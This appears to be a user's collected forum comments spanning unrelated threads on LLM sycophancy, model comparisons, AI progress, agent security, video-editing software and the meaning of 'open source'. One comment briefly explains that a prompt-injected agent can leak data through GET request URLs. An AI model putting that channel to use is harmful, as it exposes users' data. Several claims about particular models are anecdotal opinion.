I (and I suspect many others) usually think of a constitution as “the hard-to-edit meta-rules that govern the normal rules”. The idea that the stuff in this document can sort of “override” the system prompt and constrain the things that Claude can do would seem to make that a useful metaphor. And metaphors don’t have to be 100% on the nose to be useful.
It feels like a lot of people keep falling into the trap of thinking we’ve hit a plateau, and that they can shift from “aggressively explore and learn the thing” mode to “teach people solid facts” mode.
A week ago Scott Hanselman went on the Stack Overflow podcast to talk about AI-assisted coding. I generally respect that guy a lot, so I tuned in and… well it was kind of jarring. The dude kept saying things in this really confident and didactic (teacherly) tone that were months out of date.
In particular I recall him making the “You’re absolutely right!” joke and asserting that LLMs are generally very sycophantic, and I was like “Ah, I guess he’s still on Claude Code and hasn’t tried Codex with GPT 5”. I haven’t heard an LLM say anything like that since October, and in general I find GPT 5.x to actually be a huge breakthrough in terms of asserting itself when I’m wrong and not flattering my every decision. But that news (which would probably be really valuable to many people listening) wasn’t mentioned on the podcast I guess because neither of the guys had tried Codex recently.
And I can’t say I blame them: It’s really tough to keep up with all the changes but also spend enough time in one place to learn anything deeply. But I think a lot of people who are used to “playing the teacher role” may need to eat a slice of humble pie and get used to speaking in uncertain terms until such a time as this all starts to slow down.
> in general I find GPT 5.x to actually be a huge breakthrough in terms of asserting itself when I’m wrong
That's just a different bias purposefully baked into GPT-5's engineered personality on post-training. It always tries to contradict the user, including the cases where it's confidently wrong, and keeps justifying the wrong result in a funny manner if pressed or argued with (as in, it would have never made that obvious mistake if it wasn't bickering with the user). GPT-5.0 in particular was extremely strongly finetuned to do this. And in longer replies or multiturn convos, it falls into a loop on contradictory behavior far too easily. This is no better than sycophancy. LLMs need an order of magnitude better nuance/calibration/training, this requires human involvement and scales poorly.
Fundamental LLM phenomena (ICL, repetition, serial position biases, consequences of RL-based reasoning etc) haven't really changed, and they're worth studying for a layman to get some intuition. However, they vary a lot model to model due to subtle architectural and training differences, and impossible to keep up because there are so many models and so few benchmarks that measure these phenomena.
By the time I switched to GPT 5 we were already on 5.1, so I can't speak to 5.0. All I can say is that if the answer came down to something like "push the bias in the other direction and hope we land in the right spot"... well, I think they landed somewhere pretty good.
Don't get me wrong, I get a little tired of it ending turns with "if you want me to do X, say the word." But usually X is actually a good or at least reasonable suggestion, so I generally forgive it for that.
To your larger point: I get that a lot of this comes down to choices made about fine tuning and can be easily manipulated. But to me that's fine. I care more about if the resulting model is useful to me than I do about how they got there.
Claude is my loyal assistant who tries its best to do what I tell it to.
GPT-5 is the egotistical coworker who loves to argue and point out what I'm doing wrong. Sometimes it's right, sometimes it's confidently wrong. It's useful to be told I'm wrong even when I'm not. But I'm not letting it modify my code, it can look but not touch.
> That's just a different bias purposefully baked into GPT-5's engineered personality on post-training.
I want to highlight this realization! Just because a model says something cool, it doesn't mean it's an emergent behavior/realization, but more likely post-training.
My recent experience with claude code cli was exactly this.
It was so hyped here and elsewhere I gave it a try and I'd say it's almost arrogant/petulant.
When I pointed out bugs in long sessions it tried to gaslight me that everything was alright, faked tests to prove his point.
"Still on Claude Code" is a funny statement, given that the industry is agreeing that Anthropic has the lead in software generation while others (OpenAI) are lagging behind or have significant quality issues (Google) in their tooling (not the models). And Anthropic frontier models are generally "You're absolutely right - I apologize. I need to ..." everytime they fuck something up.
Why is it every time anyone has a critique someone has to say “oh but you aren’t using model X, which clearly never has this problem and is far better”?
Yet the data doesn’t show all that much difference between SOTA models. So I have a hard time believing it.
GP here: My problem with a lot of studies and data is that they seem to measure how good LLMs are at a particular task, but often don't account for "how good the LLM is to work with". The latter feels extremely difficult to quantify, but matters a lot when you're having a couple dozen turns of conversation with an LLM over the course of a project.
Like, I think there's definitely value in prompting a dozen LLMs with a detailed description of a CMS you want built with 12 specific features, a unit testing suite and mobile support, and then timing them to see how long they take and grading their results. But that's not how most developers use an LLM in practice.
Until LLMs become reliable one-shot machines, the thing I care most about is how well they augment my problem solving process as I work through a problem with them. I have no earthly idea of how to measure that, and I'm highly skeptical of anyone who claims they do. In the absence of empirical evidence we have to fall back on intuition.
A friend recommended to me having a D&D style roleplay with some different engines, to see which you vibe with. I thought this sounded crazy but I took their advice.
I found this worked suprisingly well, I was certain 'claude' was best, while they like grok and someone else liked ChatGPT. Some AIs just end up fitting best with how you like to chat I think. I do definately also find claude best for coding with as well.
Because they are getting better. They're still far from perfect/AGI/ASI, but when was the last time you saw the word "delve"? So the models are clearly changing, the question is why doesn't the data show That they're actually better?
Thing is, everyone knows the benchmarks are being gamed. Exactly how is besides the point. In practice, anecdotally, Opus 4.5 is noticably better than 4, and GPT 5.2 has also noticably improved. So maybe the real question is why do you believe this data when it seems at odds with observations by humans in the field?
> Jeff Bezos: When the data and the anecdotes disagree, the anecdotes are usually right.
"They don't use delve anymore" is not really a testament that they became better.
Most of what I can do now with them I could do half a year to a year ago. And all the mistakes and fail loops are still there, across all models.
What changed is the number of magical incantations we throw at these models in the form of "skills" and "plugins" and "tools" hoping that this will solve the issue at hand before the context window overflows.
"They dont say X as often anymore" is just a distraction, it has nothing to do with actual capability of the model.
Unfortunately, I think that the overlap between actual model improvements and what people perceive as "better" is quite small. Combine this with the fact that most people desperately want to have a strong opinion on stuff even though the factual basis is very weak.. "But I can SEE it is X now".
The type of person who outsources their thinking to their social media feed news stories and isn't intellectually curious enough to deeply explore the models themselves in order for the models to display their increase in strength, isn't going to be able to tell this themselves.
I would think this also correlates with the type of person who hasn't done enough data analysis themselves to understand all the lies and misleading half-truths "data" often tells. In the reverse also, that experience with data inoculates one to some degree against the bullshitting LLM so it is probably easier to get value from the model.
I would imagine there are all kinds of factors like this that multiple so some people are really having vastly different experiences with the models than others.
People desperately want 'the plateau' to be true because it means our jobs would be safe and we could call ourselves experts again. If the ground is keep moving then no one is truly an expert. There is just no enough time to achieve expertise when the paradigm shifts every six months.
That statement is only true if you're ignoring higher order patterns. I called the orchestration trend and the analytic hurdle trends back in April of last year.
Claude is still just like that once you’re deep enough in the valley of the conversation. not exactly that phrase but things like that’s the smoking gun or so. nothing has changed.
> Claude is still just like that once you’re deep enough in the valley of the conversation
My experience is claude (but probably other models as well) indeed resort to all sorts of hacks once the conversation has gone for too long.
Not sure if it's an emergent behavior or something done in later stages of training to prevent it from wasting too many tokens when things are clearly not going well.
I don't see a reason to think we're not going to hit a plateua sooner or later (and probably sooner). You can't scale your way out of hallucinations, and you can't keep raising tens of billions to train these things without investors wanting a return. Once you use up the entire internets worth of stack overflow responses and public github repositories you run into the fact that these things aren't good at doing things outside their training dataset.
Long story short, predicting perpetual growth is also a trap.
You scale your way only out in verifiable domains, like code, math, optimizations, games and simulations. In all the other domains the AI developers still got billions (trillions) of tokens daily, which are validated by follow up messages, minutes or even days later. If you can study longitudinally you can get feedback signals, such as when people apply the LLM idea in practice and came back to iterate later.
> Once you use up the entire internets worth of stack overflow responses and public github repositories you run into the fact that these things aren't good at doing things outside their training dataset.
I think the models have reached that human training data limitation a few generations ago, yet they stil clearly improve by various other techniques.
I’m not sure I agree, it doesn’t feel like we’re getting super linear growth year over year, but Claude opus 4.5 is able to do useful work over meaningful timescales without supervision. Is the code perfect? No, but that was certainly not true of model generations a year or two ago.
I agree with a lot of what you've said, but I completely disagree that LLM's are no longer sycophantic. GPT-5 is definitely still very sycophantic, 'You're absolutely right!' still happens, etc. It's true it happens far less in a pure coding context (Claude Code / Codex) but I suspect only because of the system prompts, and those tools are by far in the minority of LLM usage.
I think it's enlightening to open up ChatGPT on the web with no custom instructions and just send a regular request and see the way it responds.
“Disallow writes” isn’t a thing unless you whitelist (not blacklist) what your agent can read (GET requests can be used to write by encoding arbitrary data in URL paths and querystrings).
The problem is, once you “injection-proof” your agent, you’ve also made it “useful proof”.
> The problem is, once you “injection-proof” your agent, you’ve also made it “useful proof”.
I find people suggesting this over and over in the thread, and I remain unconvinced. I use LLMs and agents, albeit not as widely as many, and carefully manage their privileges. The most adversarial attack would only waste my time and tokens, not anything I couldn't undo.
I didn't realize I was in such a minority position on this honestly! I'm a bit aghast at the security properties people are readily accepting!
You can generate code, commit to git, run tools and tests, search the web, read from databases, write to dev databases and services, etc etc etc all with the greatest threat being DOS... and even that is limited by the resources you make available to the agent to perform it!
> I figured it's how they were able to weaken a chess engine back in the day; can't adjust the overall strength, so add random blunders.
In tom7’s Elo World, he does this (“dilutes” strong Chess AIs with a certain percentage of random moves) to smooth the gradient since otherwise it would be impossible to evaluate his terrible chess bots against something like Stockfish since they’d just lose every time. https://youtu.be/DpXy041BIlA?si=z7g1a_TX_QoPYN9b
I think it’s perfectly germane. When a medium is both a means for making a good living _and_ a form of artistic expression, there’s a natural tension that emerges from people who pursue both those paths at once, in addition to the people who eschew either path entirely. Obviously many people avoid cynical reasons for doing the things they do - I’m among them - but you can’t fail to recognize that there’s always a demographic that doesn’t care about the art.
It is not in the interest of “people who complain about things being too far left” to get specific. To do so can only increase the number of people who realize they disagree with them. The vagueness is purposeful.
The definition of “Tech bros” is “tech people you don’t like”. There’s no agreed upon definition (just like how people disagree about what is/isn’t a “grift”) because it’s not meant to be descriptive, it’s a rhetorical device.
No, it's tech people you don't like for a specific set of reasons: it's mostly hubris and its implications like downplaying the damage the tech does to society and environment.
perceived downplaying of the damage. Popular soundbites (including "don't solve social problems with technology") have it generally backwards, and most people don't go beyond them.
No, this is too dismissive. There was a large shift in the culture of people over the last decade or so as the bay area money printers started printing faster than finance firms were printing. Eg tech money attracted a culture of people wed normally label “finance bros”. Patrick Bateman types but without the explicit murder. Status, money, often born outstandingly privileged.
This is the tech bro people speak of. It is that psychopathic desire for status at all costs which sadly is learned, emulated, and exalted. Ironically, yc is the poster child for breeding this culture over the last 8 or so years and the place it is most often complained about outside of reddit ofc.
> (as a hobbyist who likes cooking up some vis for my DJ sets)
I generally get really annoyed when I hear someone say that a particular piece of open-source or free-as-in-beer software “blows After Effects out of the water”[0], but not here: I appreciate you describing your use case so people have the right expectations going in. It sounds like this is more trying to compete with offerings like Touch Designer or Resolume than AE, which feels like a space with much more opportunity for disruption (without having a huge full-time team working for years in obscurity).
[0] I want someone to do to After Effects what Blender is doing to Cinema4D and Maya (provide a competitive free alternative to people who don’t need corporate deals and support plans). Every piece of software that people usually mention falls short in huge ways. I think a lot of people get into this space not realizing how difficult it is just to have a real-time scrubbable timeline that intelligently caches intermediate steps to disk and can render at lower resolutions to save time. So many alternatives absolutely chug once you have 10 1080p tracks with mattes and different effects. And then you’ve got color space transforms and all the different HDR things and a million other features that users of After Effects often forget are features.
> I generally get really annoyed when I hear someone say that a particular piece of open-source or free-as-in-beer software “blows After Effects out of the water”[0], but not here
It bothered me because the phrase suggests a favorable comparison to After Effects, when in fact After Effects really isn't the right tool for a job that needs real-time motion graphics. It's like saying Inkscape blows VS Code out of the water, for drawing SVGs.
I want this to happen, but this past month I tried using Blender’s Video Editor (after hearing the great news about Compositor Modifiers) and boy oh boy does it chug. Apparently Compositor Modifiers only run on the CPU, so trying to apply them to a track of 1080p footage totally locked up my Ryzen 7950X and froze the UI for a few minutes while it tried to render the preview.
I’m hoping GPU Compositor Modifiers aren’t too much of a lift, but at the moment they’re not actively being worked on (and I don’t have the expertise to do it myself) so I’d guess it’s at least about a year before this feature becomes usable for anything beyond really simple compositing with super-crunchy proxies.
I think a lot of people get into this space not realizing how difficult it is just to have a real-time scrubbable timeline that intelligently caches intermediate steps to disk
As someone who's been looking to get into video creation and motion graphics as a hobby, usually people recommend davinci resolve as an alternative. Which, apart from enshittifying and not being open source, the motion graphics part seems like a bit of an afterthought.
I’ve gotten so frustrated with AE the past couple years that my New Year’s resolution is to bite the bullet and try Resolve for my next couple projects. I’m even willing to splurge for the license if it means I can stop paying Adobe every month. I’m in a place where I definitely need a lot of AE’s pro features and performance, but I’m not locked into the plugin ecosystem, so I have a bit more flexibility than some other people.
Don’t most camera manufacturers (like ARRI and BlackMagic) have test footage for their raw and/or log formats on their websites? Here’s ARRI’s (which includes ProRes in addition to their proprietary formats) https://www.arri.com/en/learn-help/learn-help-camera-system/...
Anyone can freely license a work to the public, and copyright holders were doing that long before modern computers were invented.
“Open source” (other than, say, in the context of open water sources or intelligence or journalistic sources, where it was rarely used) as a descriptive term did not enter the common lexicon until 1998 and that was specifically to refer to software source code.
IANAL, but I think open source started with software since software has source and binary form. Now with compression and other shenanigans, probably even videos or images could be argued to have a source and binary form. I don't know a thing about multimedia, but people here saying this "open source" release is a good thing mention specifically the fact that it's the uncompressed version, or as the FSF would call it, "the preferred form of the work for making modifications to it".
You’re correct but words and phrases can evolve in their meaning over time. If the licensing terms for this are analogous to open source software licensing terms then calling it “open source media” is pretty reasonable.
It's awful what happened to literally. The enormity of the change in meaning is so egregious. When it literally gets used with both meanings in the same conversation, decimating my brain, I have to wonder how nonplussed anyone trying to learn English must be. I'm sure there are plenty of words it's happened to, but this must the most egregious example.
reply